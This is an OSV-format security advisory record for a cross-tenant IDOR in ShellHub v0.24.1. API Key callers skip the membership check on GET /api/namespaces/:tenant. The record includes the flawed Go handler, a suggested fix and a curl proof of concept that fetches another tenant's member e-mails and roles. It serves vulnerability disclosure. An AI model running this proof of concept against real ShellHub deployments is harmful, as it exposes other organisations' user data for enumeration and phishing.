Files
vuln-osv/data/Go/GHSA-vwx9-7qcf-gg7f.json
T

1 line
4.3 KiB
JSON

{"schema_version":"1.9.0","id":"GHSA-vwx9-7qcf-gg7f","published":"2026-05-07T03:02:28Z","modified":"2026-06-25T23:11:32.461990375Z","aliases":["CVE-2026-44426","GO-2026-5680"],"summary":"ShellHub has cross-tenant IDOR in `GET /api/namespaces/:tenant` via API Key bypasses membership check","details":"## Summary\n`GET /api/namespaces/:tenant` returns the full namespace object — including the members list (user IDs, e-mails, roles), settings, and device counts — to any caller authenticated by an **API Key**, for any tenant, regardless of the API Key's own tenant scope.\n\nThe handler conditionally skips the membership check when the user ID (`X-ID`) is absent, which is exactly the case for API Key authentication.\n\n## Affected versions\nShellHub Community v0.24.1 (validated).\n\n## Root cause\n`api/routes/nsadm.go:75-102` — membership check is skipped when `c.ID()` is nil:\n\n ```go\n var uid string\n if c.ID() != nil {\n uid = c.ID().ID\n }\n\n ns, err := h.service.GetNamespace(c.Ctx(), req.Tenant)\n if err != nil || ns == nil {\n return c.NoContent(http.StatusNotFound)\n }\n\n if uid != \"\" { // ⚠️ skipped when API Key is used\n if _, ok := ns.FindMember(uid); !ok {\n return c.NoContent(http.StatusForbidden)\n }\n }\n\n return c.JSON(http.StatusOK, ns)\n ```\n\n `AuthRequest` (`api/routes/auth.go:53-64`) sets only `X-Tenant-ID`, `X-Role`,\n and `X-API-KEY` for API Key authentication — never `X-ID`. So\n `c.Request().Header.Get(\"X-ID\")` returns `\"\"`, `c.ID()` returns `nil`, and\n the membership check is bypassed.\n\n## Proof of concept (validated live against v0.24.1)\n\n ```bash\n # Attacker authenticates in their own namespace and mints an API Key\n ATTACKER_TOKEN=$(curl -s -X POST http://target/api/login \\\n -H 'Content-Type: application/json' \\\n -d '{\"username\":\"attacker\",\"password\":\"...\"}' | jq -r .token)\n\n ATTACKER_KEY=$(curl -s -X POST http://target/api/namespaces/api-key \\\n -H \"Authorization: Bearer $ATTACKER_TOKEN\" \\\n -H 'Content-Type: application/json' \\\n -d '{\"name\":\"poc\",\"expires_at\":30}' | jq -r .id)\n\n # Baseline: same request with JWT is correctly blocked\n curl -i http://target/api/namespaces/<victim-tenant-uuid> \\\n -H \"Authorization: Bearer $ATTACKER_TOKEN\"\n # Observed: HTTP 403 (correct)\n\n # Exploit: same request with API Key returns full namespace\n curl -i http://target/api/namespaces/<victim-tenant-uuid> \\\n -H \"X-API-Key: $ATTACKER_KEY\"\n # Observed: HTTP 200 + {name, owner, tenant_id, members:[{id,email,role,added_at},...],\n # settings, max_devices, devices_accepted_count, type, created_at}\n ```\n\n## Impact\n - Enumeration of any ShellHub namespace by tenant UUID.\n - Disclosure of member e-mails, user IDs, and roles → user enumeration and targeted phishing against the victim organization.\n - Disclosure of namespace settings (session recording on/off, announcement text), device counts, namespace type, owner identity.\n\n## Suggested fix\nTwo layers:\n\n 1. **Primary** — enforce caller-tenant match before returning the namespace, covering both JWT and API Key callers:\n\n ```go\n // nsadm.go GetNamespace\n if c.Tenant() != nil && c.Tenant().ID != req.Tenant {\n return c.NoContent(http.StatusForbidden)\n }\n ```","affected":[{"package":{"name":"github.com/shellhub-io/shellhub","ecosystem":"Go","purl":"pkg:golang/github.com/shellhub-io/shellhub"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.24.2"}]}],"database_specific":{"last_known_affected_version_range":"<= 0.24.1","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-vwx9-7qcf-gg7f/GHSA-vwx9-7qcf-gg7f.json"}}],"references":[{"type":"WEB","url":"https://github.com/shellhub-io/shellhub/security/advisories/GHSA-vwx9-7qcf-gg7f"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44426"},{"type":"PACKAGE","url":"https://github.com/shellhub-io/shellhub"}],"database_specific":{"cwe_ids":["CWE-639"],"github_reviewed":true,"github_reviewed_at":"2026-05-07T03:02:28Z","nvd_published_at":"2026-05-13T22:16:44Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}]}